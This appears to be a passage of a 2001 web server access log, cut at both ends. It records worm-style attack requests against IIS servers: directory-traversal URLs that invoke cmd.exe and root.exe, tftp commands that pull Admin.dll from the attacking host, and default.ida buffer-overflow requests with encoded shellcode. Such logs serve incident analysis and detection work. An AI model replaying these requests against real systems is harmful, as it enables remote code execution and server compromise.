/scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010919 10:26:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010919 10:26:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010919 10:26:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010919 10:26:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 10:30:05: [128.119.210.93] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:35:08: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:35:08: vas.ais.columbia.edu [128.59.59.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:35:08: vas.ais.columbia.edu [128.59.59.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:35:08: [128.119.210.93] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:35:27: vas.ais.columbia.edu [128.59.59.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:35:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:35:27: vas.ais.columbia.edu [128.59.59.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:35:27: [128.119.210.93] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:35:45: vas.ais.columbia.edu [128.59.59.252] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:35:45: vas.ais.columbia.edu [128.59.59.252] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:35:45: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:35:46: [128.119.210.93] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:04: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:04: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:04: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:04: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:04: [128.119.210.93] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:22: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 10:36:24: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:24: [128.119.210.93] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:42: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:36:42: [128.119.210.93] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:37:01: [128.119.210.93] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:37:20: [128.119.210.93] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:37:38: [128.119.210.93] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:37:57: [128.119.210.93] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:38:15: [128.119.210.93] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:38:34: [128.119.210.93] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:38:52: [128.119.210.93] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:39:11: [128.119.210.93] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:39:29: [128.119.210.93] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:39:48: www.whiting-turner.com [207.233.194.250] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:43:35: whiting-turner.com [207.233.194.250] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:43:36: whiting-turner.com [207.233.194.250] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:36: whiting-turner.com [207.233.194.250] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:37: whiting-turner.com [207.233.194.250] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:40: whiting-turner.com [207.233.194.250] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:41: whiting-turner.com [207.233.194.250] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:41: whiting-turner.com [207.233.194.250] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:41: whiting-turner.com [207.233.194.250] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:41: whiting-turner.com [207.233.194.250] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:42: whiting-turner.com [207.233.194.250] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:43: whiting-turner.com [207.233.194.250] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:43:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:50:36: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:50:37: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:38: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:39: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:50:40: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:45: vas.ais.columbia.edu [128.59.59.252] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:46: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:47: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:51:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:52:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:52:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:13: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:52:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:53:17: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:53:19: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:54:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:57:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET 